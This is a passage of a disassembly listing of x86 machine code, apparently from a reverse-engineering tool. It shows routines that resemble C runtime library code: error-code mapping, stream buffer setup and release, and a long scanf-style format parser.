		movzx	eax, [ebp+var_4]
		jmp	short loc_41BEC1
; ---------------------------------------------------------------------------


loc_41BEB4:				; CODE XREF: sub_41BDF8+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41BEC1:				; CODE XREF: sub_41BDF8+14j
					; sub_41BDF8+1Dj ...
		pop	ebx
		leave
		retn
sub_41BDF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEC4	proc near		; CODE XREF: sub_4182D5+1Dp
					; sub_4197B4+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4D86D4, ecx
		mov	eax, offset dword_43AE98


loc_41BED5:				; CODE XREF: sub_41BEC4+1Ej
		cmp	ecx, [eax]
		jz	short loc_41BEF9
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43B000
		jl	short loc_41BED5
		cmp	ecx, 13h
		jb	short loc_41BF06
		cmp	ecx, 24h
		ja	short loc_41BF06
		mov	dword_4D86D0, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_41BEF9:				; CODE XREF: sub_41BEC4+13j
		mov	eax, dword_43AE9C[edx*8]
		mov	dword_4D86D0, eax
		retn
; ---------------------------------------------------------------------------


loc_41BF06:				; CODE XREF: sub_41BEC4+23j
					; sub_41BEC4+28j
		cmp	ecx, 0BCh
		jb	short loc_41BF20
		cmp	ecx, 0CAh
		mov	dword_4D86D0, 8
		jbe	short locret_41BF2A


loc_41BF20:				; CODE XREF: sub_41BEC4+48j
		mov	dword_4D86D0, 16h

locret_41BF2A:				; CODE XREF: sub_41BEC4+5Aj
		retn
sub_41BEC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF2B	proc near		; CODE XREF: sub_4182FF+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41F916
		test	eax, eax
		pop	ecx
		jz	short loc_41BFB4
		cmp	esi, offset dword_43B298
		jnz	short loc_41BF49
		xor	eax, eax
		jmp	short loc_41BF54
; ---------------------------------------------------------------------------


loc_41BF49:				; CODE XREF: sub_41BF2B+18j
		cmp	esi, offset dword_43B2B8
		jnz	short loc_41BFB4
		push	1
		pop	eax


loc_41BF54:				; CODE XREF: sub_41BF2B+1Cj
		inc	dword_4D88B4
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41BFB4
		cmp	dword_4D8758[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4D8758h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_41BF9A
		push	ebx
		call	sub_417A2B
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_41BF9A
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_41BFA7
; ---------------------------------------------------------------------------


loc_41BF9A:				; CODE XREF: sub_41BF2B+4Dj
					; sub_41BF2B+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_41BFA7:				; CODE XREF: sub_41BF2B+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BFB4:				; CODE XREF: sub_41BF2B+10j
					; sub_41BF2B+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_41BF2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BFB8	proc near		; CODE XREF: sub_4182FF+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41BFE2
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41BFF3
		push	esi
		call	sub_419EDB
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BFE2:				; CODE XREF: sub_41BFB8+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41BFF3
		push	eax
		call	sub_419EDB
		pop	ecx


loc_41BFF3:				; CODE XREF: sub_41BFB8+10j
					; sub_41BFB8+32j
		pop	esi
		retn
sub_41BFB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BFF5	proc near		; CODE XREF: sub_418B45+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_41C9FB
		mov	edi, [ebp+arg_0]
		jmp	short loc_41C024
; ---------------------------------------------------------------------------


loc_41C01F:				; CODE XREF: sub_41BFF5+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_41C024:				; CODE XREF: sub_41BFF5+28j
		cmp	dword_43AD8C, 1
		jle	short loc_41C03C
		movzx	eax, al
		push	8
		push	eax
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_41C04B
; ---------------------------------------------------------------------------


loc_41C03C:				; CODE XREF: sub_41BFF5+36j
		mov	ecx, off_43AB80
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C04B:				; CODE XREF: sub_41BFF5+45j
		cmp	eax, ebx
		jz	short loc_41C085
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41CA82
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41CA6B
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_4199C2
		add	esp, 0Ch


loc_41C073:				; CODE XREF: sub_41BFF5+8Ej
		test	eax, eax
		jz	short loc_41C085
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_4199C2
		pop	ecx
		jmp	short loc_41C073
; ---------------------------------------------------------------------------


loc_41C085:				; CODE XREF: sub_41BFF5+58j
					; sub_41BFF5+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41C967
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_41C0BC:				; CODE XREF: sub_41BFF5+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43AD8C, 1
		jle	short loc_41C0D9
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_41C0E8
; ---------------------------------------------------------------------------


loc_41C0D9:				; CODE XREF: sub_41BFF5+D3j
		mov	ecx, off_43AB80
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41C0E8:				; CODE XREF: sub_41BFF5+E2j
		test	eax, eax
		jz	short loc_41C0FE
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41C163
; ---------------------------------------------------------------------------


loc_41C0FE:				; CODE XREF: sub_41BFF5+F5j
		cmp	ebx, 4Eh
		jg	short loc_41C141
		jz	short loc_41C163
		cmp	ebx, 2Ah
		jz	short loc_41C13C
		cmp	ebx, 46h
		jz	short loc_41C163
		cmp	ebx, 49h
		jz	short loc_41C11E
		cmp	ebx, 4Ch
		jnz	short loc_41C150
		inc	[ebp+var_D]
		jmp	short loc_41C163
; ---------------------------------------------------------------------------


loc_41C11E:				; CODE XREF: sub_41BFF5+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41C150
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41C150
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41C163
; ---------------------------------------------------------------------------


loc_41C13C:				; CODE XREF: sub_41BFF5+113j
		inc	[ebp+var_E]
		jmp	short loc_41C163
; ---------------------------------------------------------------------------


loc_41C141:				; CODE XREF: sub_41BFF5+10Cj
		cmp	ebx, 68h
		jz	short loc_41C15D
		cmp	ebx, 6Ch
		jz	short loc_41C155
		cmp	ebx, 77h
		jz	short loc_41C158


loc_41C150:				; CODE XREF: sub_41BFF5+122j
					; sub_41BFF5+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41C163
; ---------------------------------------------------------------------------


loc_41C155:				; CODE XREF: sub_41BFF5+154j
		inc	[ebp+var_D]


loc_41C158:				; CODE XREF: sub_41BFF5+159j
		inc	[ebp+var_5]
		jmp	short loc_41C163
; ---------------------------------------------------------------------------


loc_41C15D:				; CODE XREF: sub_41BFF5+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_41C163:				; CODE XREF: sub_41BFF5+107j
					; sub_41BFF5+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41C0BC
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41C188
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_41C188:				; CODE XREF: sub_41BFF5+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41C1A6
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41C1A2
		cmp	al, 43h
		jz	short loc_41C1A2
		or	[ebp+var_5], 0FFh
		jmp	short loc_41C1A6
; ---------------------------------------------------------------------------


loc_41C1A2:				; CODE XREF: sub_41BFF5+1A1j
					; sub_41BFF5+1A5j
		mov	[ebp+var_5], 1


loc_41C1A6:				; CODE XREF: sub_41BFF5+19Bj
					; sub_41BFF5+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41C1DF
		cmp	esi, 63h
		jz	short loc_41C1D0
		cmp	esi, 7Bh
		jz	short loc_41C1D0
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41CA82
		pop	ecx
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------


loc_41C1D0:				; CODE XREF: sub_41BFF5+1C5j
					; sub_41BFF5+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41CA51


loc_41C1DB:				; CODE XREF: sub_41BFF5+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_41C1DF:				; CODE XREF: sub_41BFF5+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41C1EF
		cmp	[ebp+var_C], eax
		jz	loc_41C9CB


loc_41C1EF:				; CODE XREF: sub_41BFF5+1EFj
		cmp	esi, 6Fh
		jg	loc_41C456
		jz	loc_41C708
		cmp	esi, 63h
		jz	loc_41C433
		cmp	esi, 64h
		jz	loc_41C708
		jle	loc_41C480
		cmp	esi, 67h
		jle	short loc_41C253
		cmp	esi, 69h
		jz	short loc_41C23B
		cmp	esi, 6Eh
		jnz	loc_41C480
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41C936
		jmp	loc_41C95C
; ---------------------------------------------------------------------------


loc_41C23B:				; CODE XREF: sub_41BFF5+229j
		push	64h
		pop	esi


loc_41C23E:				; CODE XREF: sub_41BFF5+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41C4C8
		mov	[ebp+var_17], 1
		jmp	loc_41C4CD
; ---------------------------------------------------------------------------


loc_41C253:				; CODE XREF: sub_41BFF5+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41C26F
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41C274
; ---------------------------------------------------------------------------


loc_41C26F:				; CODE XREF: sub_41BFF5+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41C28B


loc_41C274:				; CODE XREF: sub_41BFF5+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41CA51
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41C28E
; ---------------------------------------------------------------------------


loc_41C28B:				; CODE XREF: sub_41BFF5+27Dj
		mov	edi, [ebp+arg_0]


loc_41C28E:				; CODE XREF: sub_41BFF5+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41C29D
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41C2A4


loc_41C29D:				; CODE XREF: sub_41BFF5+29Dj
		mov	[ebp+var_C], 15Dh


loc_41C2A4:				; CODE XREF: sub_41BFF5+2A6j
					; sub_41BFF5+2F2j
		cmp	dword_43AD8C, 1
		jle	short loc_41C2B9
		push	4
		push	ebx
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_41C2C4
; ---------------------------------------------------------------------------


loc_41C2B9:				; CODE XREF: sub_41BFF5+2B6j
		mov	eax, off_43AB80
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41C2C4:				; CODE XREF: sub_41BFF5+2C2j
		test	eax, eax
		jz	short loc_41C2E9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41C2E9
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41CA51
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41C2A4
; ---------------------------------------------------------------------------


loc_41C2E9:				; CODE XREF: sub_41BFF5+2D1j
					; sub_41BFF5+2DBj
		cmp	byte_43AD90, bl
		jnz	short loc_41C357
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41C357
		inc	[ebp+var_4]
		push	edi
		call	sub_41CA51
		mov	ebx, eax
		mov	al, byte_43AD90
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_41C312:				; CODE XREF: sub_41BFF5+360j
		cmp	dword_43AD8C, 1
		jle	short loc_41C327
		push	4
		push	ebx
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_41C332
; ---------------------------------------------------------------------------


loc_41C327:				; CODE XREF: sub_41BFF5+324j
		mov	eax, off_43AB80
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41C332:				; CODE XREF: sub_41BFF5+330j
		test	eax, eax
		jz	short loc_41C357
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41C357
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41CA51
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41C312
; ---------------------------------------------------------------------------


loc_41C357:				; CODE XREF: sub_41BFF5+2FAj
					; sub_41BFF5+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41C3EF
		cmp	ebx, 65h
		jz	short loc_41C36F
		cmp	ebx, 45h
		jnz	loc_41C3EF


loc_41C36F:				; CODE XREF: sub_41BFF5+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41C3EF
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41CA51
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41C396
		mov	[esi], al
		inc	esi
		jmp	short loc_41C39B
; ---------------------------------------------------------------------------


loc_41C396:				; CODE XREF: sub_41BFF5+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41C3B9


loc_41C39B:				; CODE XREF: sub_41BFF5+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41C3AA
		and	[ebp+var_C], eax
		jmp	short loc_41C3B9
; ---------------------------------------------------------------------------


loc_41C3AA:				; CODE XREF: sub_41BFF5+3AEj
					; sub_41BFF5+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41CA51
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41C3B9:				; CODE XREF: sub_41BFF5+3A4j
					; sub_41BFF5+3B3j
		cmp	dword_43AD8C, 1
		jle	short loc_41C3CE
		push	4
		push	ebx
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_41C3D9
; ---------------------------------------------------------------------------


loc_41C3CE:				; CODE XREF: sub_41BFF5+3CBj
		mov	eax, off_43AB80
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41C3D9:				; CODE XREF: sub_41BFF5+3D7j
		test	eax, eax
		jz	short loc_41C3EF
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41C3EF
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41C3AA
; ---------------------------------------------------------------------------


loc_41C3EF:				; CODE XREF: sub_41BFF5+366j
					; sub_41BFF5+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41CA6B
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41C9FB
		cmp	[ebp+var_E], 0
		jnz	loc_41C95C
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43B130
		add	esp, 0Ch
		jmp	loc_41C95C
; ---------------------------------------------------------------------------


loc_41C433:				; CODE XREF: sub_41BFF5+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41C442
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_41C442:				; CODE XREF: sub_41BFF5+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41C44C
		mov	[ebp+var_16], 1


loc_41C44C:				; CODE XREF: sub_41BFF5+451j
		mov	edi, offset dword_43B008
		jmp	loc_41C561
; ---------------------------------------------------------------------------


loc_41C456:				; CODE XREF: sub_41BFF5+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41C704
		sub	eax, 3
		jz	loc_41C552
		dec	eax
		dec	eax
		jz	loc_41C708
		sub	eax, 3
		jz	loc_41C23E
		sub	eax, 3
		jz	short loc_41C4A4


loc_41C480:				; CODE XREF: sub_41BFF5+21Bj
					; sub_41BFF5+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41C9CB
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41C95C
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41C95C
; ---------------------------------------------------------------------------


loc_41C4A4:				; CODE XREF: sub_41BFF5+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41C4AE
		mov	[ebp+var_16], 1


loc_41C4AE:				; CODE XREF: sub_41BFF5+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41C565
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41C561
; ---------------------------------------------------------------------------


loc_41C4C8:				; CODE XREF: sub_41BFF5+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41C4EF


loc_41C4CD:				; CODE XREF: sub_41BFF5+259j
		dec	[ebp+var_C]
		jnz	short loc_41C4DE
		cmp	[ebp+var_20], 0
		jz	short loc_41C4DE
		mov	[ebp+var_F], 1
		jmp	short loc_41C4EF
; ---------------------------------------------------------------------------


loc_41C4DE:				; CODE XREF: sub_41BFF5+4DBj
					; sub_41BFF5+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41CA51
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41C4EF:				; CODE XREF: sub_41BFF5+4D6j
					; sub_41BFF5+4E7j
		cmp	ebx, 30h
		jnz	loc_41C73D
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41CA51
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41C53D
		cmp	bl, 58h
		jz	short loc_41C53D
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41C527
		push	6Fh


loc_41C521:				; CODE XREF: sub_41BFF5+55Bj
		pop	esi
		jmp	loc_41C73D
; ---------------------------------------------------------------------------


loc_41C527:				; CODE XREF: sub_41BFF5+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41CA6B
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41C73A
; ---------------------------------------------------------------------------


loc_41C53D:				; CODE XREF: sub_41BFF5+517j
					; sub_41BFF5+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41CA51
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41C521
; ---------------------------------------------------------------------------


loc_41C552:				; CODE XREF: sub_41BFF5+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41C55C
		mov	[ebp+var_16], 1


loc_41C55C:				; CODE XREF: sub_41BFF5+561j
		mov	edi, offset dword_43B000


loc_41C561:				; CODE XREF: sub_41BFF5+45Cj
					; sub_41BFF5+4CEj
		or	[ebp+var_18], 0FFh


loc_41C565:				; CODE XREF: sub_41BFF5+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41C589
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41C589
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41C58C
; ---------------------------------------------------------------------------


loc_41C589:				; CODE XREF: sub_41BFF5+584j
					; sub_41BFF5+589j
		mov	dl, [ebp+var_35]


loc_41C58C:				; CODE XREF: sub_41BFF5+592j
					; sub_41BFF5+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41C5F1
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41C5D8
		test	dl, dl
		jz	short loc_41C5D8
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41C5D8
		inc	edi
		cmp	dl, cl
		jnb	short loc_41C5AB
		mov	al, cl
		jmp	short loc_41C5AF
; ---------------------------------------------------------------------------


loc_41C5AB:				; CODE XREF: sub_41BFF5+5B0j
		mov	al, dl
		mov	dl, cl


loc_41C5AF:				; CODE XREF: sub_41BFF5+5B4j
		cmp	dl, al
		ja	short loc_41C5D4
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_41C5BC:				; CODE XREF: sub_41BFF5+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41C5BC


loc_41C5D4:				; CODE XREF: sub_41BFF5+5BCj
		xor	dl, dl
		jmp	short loc_41C58C
; ---------------------------------------------------------------------------


loc_41C5D8:				; CODE XREF: sub_41BFF5+5A0j
					; sub_41BFF5+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41C58C
; ---------------------------------------------------------------------------


loc_41C5F1:				; CODE XREF: sub_41BFF5+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41C9FB
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41C603
		mov	[ebp+arg_4], edi


loc_41C603:				; CODE XREF: sub_41BFF5+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41CA6B
		pop	ecx
		pop	ecx


loc_41C61A:				; CODE XREF: sub_41BFF5+6BCj
					; sub_41BFF5+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41C62E
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41C6CA


loc_41C62E:				; CODE XREF: sub_41BFF5+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41CA51
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41C6BE
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41C6BE
		cmp	[ebp+var_E], 0
		jnz	short loc_41C6B6
		cmp	[ebp+var_16], 0
		jz	short loc_41C6AB
		mov	ecx, off_43AB80
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41C68A
		inc	[ebp+var_4]
		push	edi
		call	sub_41CA51
		pop	ecx
		mov	[ebp+var_37], al


loc_41C68A:				; CODE XREF: sub_41BFF5+686j
		push	dword_43AD8C
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_41F9A4
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_41C6AE
; ---------------------------------------------------------------------------


loc_41C6AB:				; CODE XREF: sub_41BFF5+673j
		mov	[esi], al
		inc	esi


loc_41C6AE:				; CODE XREF: sub_41BFF5+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41C61A
; ---------------------------------------------------------------------------


loc_41C6B6:				; CODE XREF: sub_41BFF5+66Dj
		inc	[ebp+var_30]
		jmp	loc_41C61A
; ---------------------------------------------------------------------------


loc_41C6BE:				; CODE XREF: sub_41BFF5+649j
					; sub_41BFF5+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41CA6B
		pop	ecx
		pop	ecx


loc_41C6CA:				; CODE XREF: sub_41BFF5+633j
		cmp	[ebp+var_30], esi
		jz	loc_41C9FB
		cmp	[ebp+var_E], 0
		jnz	loc_41C95C
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41C95C
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41C6FC
		and	word ptr [eax],	0
		jmp	loc_41C95C
; ---------------------------------------------------------------------------


loc_41C6FC:				; CODE XREF: sub_41BFF5+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41C95C
; ---------------------------------------------------------------------------


loc_41C704:				; CODE XREF: sub_41BFF5+466j
		mov	[ebp+var_D], 1


loc_41C708:				; CODE XREF: sub_41BFF5+203j
					; sub_41BFF5+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41C716
		mov	[ebp+var_17], 1
		jmp	short loc_41C71B
; ---------------------------------------------------------------------------


loc_41C716:				; CODE XREF: sub_41BFF5+719j
		cmp	ebx, 2Bh
		jnz	short loc_41C73D


loc_41C71B:				; CODE XREF: sub_41BFF5+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41C72C
		cmp	[ebp+var_20], 0
		jz	short loc_41C72C
		mov	[ebp+var_F], 1
		jmp	short loc_41C73D
; ---------------------------------------------------------------------------


loc_41C72C:				; CODE XREF: sub_41BFF5+729j
					; sub_41BFF5+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41CA51
		pop	ecx
		mov	ebx, eax


loc_41C73A:				; CODE XREF: sub_41BFF5+543j
		mov	[ebp+var_14], ebx


loc_41C73D:				; CODE XREF: sub_41BFF5+4FDj
					; sub_41BFF5+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41C856
		cmp	[ebp+var_F], 0
		jnz	loc_41C834


loc_41C751:				; CODE XREF: sub_41BFF5+82Cj
